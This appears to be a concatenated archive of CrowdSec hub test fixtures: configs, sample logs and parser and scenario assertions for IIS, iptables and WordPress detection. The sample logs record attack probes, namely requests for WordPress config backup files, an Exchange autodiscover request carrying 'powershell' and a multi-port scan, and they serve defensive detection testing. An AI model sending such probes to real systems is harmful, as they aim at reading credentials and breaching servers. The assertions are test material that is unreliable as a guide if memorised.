results[0].Overflow.Alert.Events[4].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/wp-config.php.old" results[0].Overflow.Alert.Events[4].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[4].GetMeta("http_user_agent") == "Go-http-client/1.1" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "167.71.13.196" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "http-wordpress_wpconfig.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_args_len") == "0" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/wp-config.php.dist" results[0].Overflow.Alert.Events[5].GetMeta("http_status") == "404" results[0].Overflow.Alert.Events[5].GetMeta("http_user_agent") == "Go-http-client/1.1" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "167.71.13.196" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-wordpress_wpconfig" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/iis-xml-logs/000077500000000000000000000000001437532772500155005ustar00rootroot00000000000000hub1/.tests/iis-xml-logs/config.yaml000066400000000000000000000005571437532772500176400ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/iis-logs.yaml - crowdsecurity/windows-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - "" postoverflows: - "" log_file: iis-logs.log log_type: iis labels: {} ignore_parsers: false override_statics: - target: evt.Line.Module value: wineventlog - target: evt.Parsed.EventID value: "6200" hub1/.tests/iis-xml-logs/iis-logs.log000066400000000000000000000034311437532772500177320ustar00rootroot00000000000000 6200 0 4 0 0 0x8000000000000000 530178 Microsoft-IIS-Logging/Logs exchange-1.mydomain.test 2478079 2022-10-01 11:25:51 192.168.9.212 - W3SVC1 exchange-1 192.168.9.241 GET /autodiscover/autodiscover.json bla=powershell&CorrelationID=;&cafeReqId=f1351975-5024-4240-9508-3b4ea50eaf70; 400 0 134 751 49 443 Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.0.0+Safari/537.36 - - - - 0 hub1/.tests/iis-xml-logs/parser.assert000066400000000000000000000215211437532772500202200ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/windows-eventlog"]) == 1 results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Success == true results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["Channel"] == "Microsoft-IIS-Logging/Logs" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["Computer"] == "exchange-1.mydomain.test" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["EventID"] == "6200" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["Source"] == "Microsoft-Windows-IIS-Logging" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["UserSID"] == "S-1-5-18" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Parsed["program"] == "iis" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Meta["datasource_path"] == "iis-logs.log" results["s00-raw"]["crowdsecurity/windows-eventlog"][0].Evt.Meta["datasource_type"] == "wineventlog" len(results["s00-raw"]["overrides"]) == 1 results["s00-raw"]["overrides"][0].Success == true results["s00-raw"]["overrides"][0].Evt.Parsed["EventID"] == "6200" len(results["s01-parse"]["crowdsecurity/iis-logs"]) == 1 results["s01-parse"]["crowdsecurity/iis-logs"][0].Success == true results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["Source"] == "Microsoft-Windows-IIS-Logging" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["UserSID"] == "S-1-5-18" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["http_args"] == "bla=powershell&CorrelationID=;&cafeReqId=f1351975-5024-4240-9508-3b4ea50eaf70;" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["program"] == "iis" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["Channel"] == "Microsoft-IIS-Logging/Logs" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["Computer"] == "exchange-1.mydomain.test" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["EventID"] == "6200" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["http_path"] == "/autodiscover/autodiscover.json" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["request"] == "/autodiscover/autodiscover.json?bla=powershell&CorrelationID=;&cafeReqId=f1351975-5024-4240-9508-3b4ea50eaf70;" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["target_fqdn"] == "W3SVC1" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["datasource_path"] == "iis-logs.log" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["http_path"] == "/autodiscover/autodiscover.json" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["http_status"] == "400" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["datasource_type"] == "wineventlog" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.0.0+Safari/537.36" results["s01-parse"]["crowdsecurity/iis-logs"][0].Evt.Meta["http_verb"] == "GET" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["Channel"] == "Microsoft-IIS-Logging/Logs" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "iis" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/autodiscover/autodiscover.json?bla=powershell&CorrelationID=;&cafeReqId=f1351975-5024-4240-9508-3b4ea50eaf70;" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["Computer"] == "exchange-1.mydomain.test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["EventID"] == "6200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["Source"] == "Microsoft-Windows-IIS-Logging" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["UserSID"] == "S-1-5-18" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_args"] == "bla=powershell&CorrelationID=;&cafeReqId=f1351975-5024-4240-9508-3b4ea50eaf70;" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_path"] == "/autodiscover/autodiscover.json" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "iis-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/autodiscover/autodiscover.json" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "400" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-10-01T11:25:51Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "wineventlog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.0.0+Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_fqdn"] == "W3SVC1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-10-01T11:25:51Z" len(results["s02-enrich"]["crowdsecurity/http-logs"]) == 1 results["s02-enrich"]["crowdsecurity/http-logs"][0].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["EventID"] == "6200" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_dir"] == "/autodiscover/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_ext"] == ".json" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["impact_completion"] == "true" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request"] == "/autodiscover/autodiscover.json" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["Channel"] == "Microsoft-IIS-Logging/Logs" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["Source"] == "Microsoft-Windows-IIS-Logging" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_args"] == "bla=powershell&CorrelationID=;&cafeReqId=f1351975-5024-4240-9508-3b4ea50eaf70;" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_path"] == "/autodiscover/autodiscover.json" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["Computer"] == "exchange-1.mydomain.test" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_frag"] == "autodiscover" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_name"] == "autodiscover.json" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["program"] == "iis" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["UserSID"] == "S-1-5-18" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["source_ip"] == "192.168.9.212" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["timestamp"] == "2022-10-01T11:25:51Z" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_path"] == "iis-logs.log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_type"] == "wineventlog" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_status"] == "400" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["target_fqdn"] == "W3SVC1" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_args_len"] == "78" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_path"] == "/autodiscover/autodiscover.json" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0+(X11;+Linux+x86_64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/105.0.0.0+Safari/537.36" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Enriched["MarshaledTime"] == "2022-10-01T11:25:51Z" len(results["success"][""]) == 0hub1/.tests/iis-xml-logs/scenario.assert000066400000000000000000000000001437532772500205140ustar00rootroot00000000000000hub1/.tests/iptables-logs/000077500000000000000000000000001437532772500157215ustar00rootroot00000000000000hub1/.tests/iptables-logs/config.yaml000066400000000000000000000003131437532772500200470ustar00rootroot00000000000000parsers: - crowdsecurity/iptables-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: iptables-logs.log log_type: syslog ignore_parsers: false hub1/.tests/iptables-logs/iptables-logs.log000066400000000000000000000017361437532772500212000ustar00rootroot00000000000000Jun 8 14:34:33 sd-126005 kernel: [50028442.088484] IN=enp1s0 OUT= MAC=00:08:a2:0c:1f:12:00:c8:8b:e2:d6:87:08:00 SRC=195.54.160.107 DST=51.15.166.67 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=37308 PROTO=TCP SPT=8080 DPT=8123 WINDOW=1024 RES=0x00 SYN URGP=0 Jun 8 14:34:33 sd-126005 kernel: [50028442.088484] IN=enp.1s0 OUT= MAC=00:08:a2:0c:1f:12:00:c8:8b:e2:d6:87:08:00 SRC=195.54.160.107 DST=51.15.166.67 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=37308 PROTO=TCP SPT=8080 DPT=8123 WINDOW=1024 RES=0x00 SYN URGP=0 Jun 8 14:34:33 sd-126005 kernel: [50028442.088484] XX=enp1s0 OUT= MAC=00:08:a2:0c:1f:12:00:c8:8b:e2:d6:87:08:00 SRC=195.54.160.107 DST=51.15.166.67 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=37308 PROTO=TCP SPT=8080 DPT=8123 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 27 20:56:38 ubuntu-focal kernel: [ 203.842973] IPTABLES-DROP: IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.53 LEN=76 TOS=0x00 PREC=0x00 TTL=64 ID=25029 DF PROTO=UDP SPT=49007 DPT=53 LEN=56 hub1/.tests/iptables-logs/parser.assert000066400000000000000000000127601437532772500204460ustar00rootroot00000000000000len(results["s01-parse"]["crowdsecurity/iptables-logs"]) == 4 results["s01-parse"]["crowdsecurity/iptables-logs"][0].Success == true results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["program"] == "kernel" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["timestamp"] == "Jun 8 14:34:33" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["dst_port"] == "8123" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["message"] == "[50028442.088484] IN=enp1s0 OUT= MAC=00:08:a2:0c:1f:12:00:c8:8b:e2:d6:87:08:00 SRC=195.54.160.107 DST=51.15.166.67 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=37308 PROTO=TCP SPT=8080 DPT=8123 WINDOW=1024 RES=0x00 SYN URGP=0" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["int_eth"] == "enp1s0" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["length"] == "40" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["src_ip"] == "195.54.160.107" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["src_port"] == "8080" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Parsed["dst_ip"] == "51.15.166.67" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Meta["datasource_path"] == "iptables-logs.log" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Meta["machine"] == "sd-126005" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Meta["service"] == "tcp" results["s01-parse"]["crowdsecurity/iptables-logs"][0].Evt.Meta["source_ip"] == "195.54.160.107" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Success == true results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["timestamp"] == "Jun 8 14:34:33" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["program"] == "kernel" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["src_ip"] == "195.54.160.107" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["src_port"] == "8080" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["dst_ip"] == "51.15.166.67" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["int_eth"] == "enp.1s0" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["message"] == "[50028442.088484] IN=enp.1s0 OUT= MAC=00:08:a2:0c:1f:12:00:c8:8b:e2:d6:87:08:00 SRC=195.54.160.107 DST=51.15.166.67 LEN=40 TOS=0x00 PREC=0x00 TTL=245 ID=37308 PROTO=TCP SPT=8080 DPT=8123 WINDOW=1024 RES=0x00 SYN URGP=0" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["proto"] == "TCP" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["dst_port"] == "8123" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Parsed["length"] == "40" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Meta["machine"] == "sd-126005" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Meta["service"] == "tcp" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Meta["source_ip"] == "195.54.160.107" results["s01-parse"]["crowdsecurity/iptables-logs"][1].Evt.Meta["datasource_path"] == "iptables-logs.log" results["s01-parse"]["crowdsecurity/iptables-logs"][2].Success == false results["s01-parse"]["crowdsecurity/iptables-logs"][3].Success == true results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["int_eth"] == "lo" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["length"] == "76" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["program"] == "kernel" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["dst_ip"] == "127.0.0.53" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["dst_port"] == "53" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["proto"] == "UDP" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["src_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["src_port"] == "49007" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["timestamp"] == "Sep 27 20:56:38" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Parsed["message"] == "[ 203.842973] IPTABLES-DROP: IN=lo OUT= MAC=00:00:00:00:00:00:00:00:00:00:00:00:08:00 SRC=127.0.0.1 DST=127.0.0.53 LEN=76 TOS=0x00 PREC=0x00 TTL=64 ID=25029 DF PROTO=UDP SPT=49007 DPT=53 LEN=56 " results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Meta["log_type"] == "iptables_drop" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Meta["machine"] == "ubuntu-focal" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Meta["service"] == "tcp" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Meta["datasource_path"] == "iptables-logs.log" results["s01-parse"]["crowdsecurity/iptables-logs"][3].Evt.Meta["datasource_type"] == "file"hub1/.tests/iptables-logs/scenario.assert000066400000000000000000000000001437532772500207350ustar00rootroot00000000000000hub1/.tests/iptables-scan-multi-port/000077500000000000000000000000001437532772500200135ustar00rootroot00000000000000hub1/.tests/iptables-scan-multi-port/config.yaml000066400000000000000000000003721437532772500221460ustar00rootroot00000000000000parsers: - crowdsecurity/iptables-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/iptables-scan-multi_ports postoverflows: - "" log_file: iptables-scan-multi-port.log log_type: syslog ignore_parsers: true hub1/.tests/iptables-scan-multi-port/iptables-scan-multi-port.log000066400000000000000000000101731437532772500253570ustar00rootroot00000000000000Sep 30 10:09:23 scw-d95986 kernel: [19955416.516358] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=43 ID=25313 PROTO=TCP SPT=52220 DPT=80 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.518607] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=24 ID=53101 PROTO=TCP SPT=52220 DPT=8080 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.521120] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=46 ID=49754 PROTO=TCP SPT=52220 DPT=25 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.518607] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=24 ID=53101 PROTO=TCP SPT=52220 DPT=21 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.521120] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=46 ID=49754 PROTO=TCP SPT=52220 DPT=22 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.523439] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=42 ID=31592 PROTO=TCP SPT=52220 DPT=2222 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.525914] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=33 ID=62698 PROTO=TCP SPT=52220 DPT=143 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.523439] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=42 ID=31592 PROTO=TCP SPT=52220 DPT=3306 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.525914] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=33 ID=62698 PROTO=TCP SPT=52220 DPT=443 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.528177] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=27 ID=19747 PROTO=TCP SPT=52220 DPT=4443 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.531509] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=45 ID=34532 PROTO=TCP SPT=52220 DPT=125 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.528177] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=27 ID=19747 PROTO=TCP SPT=52220 DPT=1234 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.531509] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=45 ID=34532 PROTO=TCP SPT=52220 DPT=9090 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.499523] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=27 ID=56552 PROTO=TCP SPT=52220 DPT=445 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.499523] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=27 ID=56552 PROTO=TCP SPT=52220 DPT=8081 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.501968] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=42 ID=6603 PROTO=TCP SPT=52220 DPT=8082 WINDOW=1024 RES=0x00 SYN URGP=0 Sep 30 10:09:23 scw-d95986 kernel: [19955416.501968] IN=ens2 OUT= MAC=de:1c:88:64:10:19:5e:e1:a4:3b:cf:f0:08:00 SRC=62.34.17.168 DST=10.73.140.49 LEN=44 TOS=0x00 PREC=0x00 TTL=42 ID=6603 PROTO=TCP SPT=52220 DPT=8083 WINDOW=1024 RES=0x00 SYN URGP=0 hub1/.tests/iptables-scan-multi-port/parser.assert000066400000000000000000000000001437532772500225200ustar00rootroot00000000000000hub1/.tests/iptables-scan-multi-port/scenario.assert000066400000000000000000000150311437532772500230410ustar00rootroot00000000000000len(results) == 1 "62.34.17.168" in results[0].Overflow.GetSources() results[0].Overflow.Sources["62.34.17.168"].IP == "62.34.17.168" results[0].Overflow.Sources["62.34.17.168"].Range == "" results[0].Overflow.Sources["62.34.17.168"].GetScope() == "Ip" results[0].Overflow.Sources["62.34.17.168"].GetValue() == "62.34.17.168" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[0].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[1].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "iptables_drop" results[0].Overflow.Alert.Events[2].GetMeta("service") == "tcp" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "62.34.17.168" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "iptables-scan-multi-port.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "iptables_drop" 